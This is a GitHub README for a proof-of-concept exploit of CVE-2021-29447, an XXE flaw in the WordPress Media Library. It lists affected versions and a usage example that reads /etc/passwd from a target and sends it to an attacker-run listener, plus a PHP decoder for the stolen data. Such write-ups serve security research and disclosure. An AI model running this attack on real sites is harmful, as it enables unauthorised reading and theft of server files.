Skip to content

Latest commit

 

History

History
59 lines (44 loc) · 2.16 KB

README.md

File metadata and controls

59 lines (44 loc) · 2.16 KB

CVE-2021-29447 Proof-of-Concept

╔═╗╦  ╦╔═╗
║  ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023

═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════

CVE-2021-29447: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release.

This script is easy to understand & run and it will automate the steps required to exploit the XXE attack on the wordpress media library.

Usage

usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]

options:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST  your server ip address e.g. 10.0.2.15
  -p PORT, --port PORT  your server port e.g. 1337
  -f FILE, --file FILE  system file to read e.g. /etc/passwd

Example:

$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd

To decode the base64 use/run the following php snippet:

<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php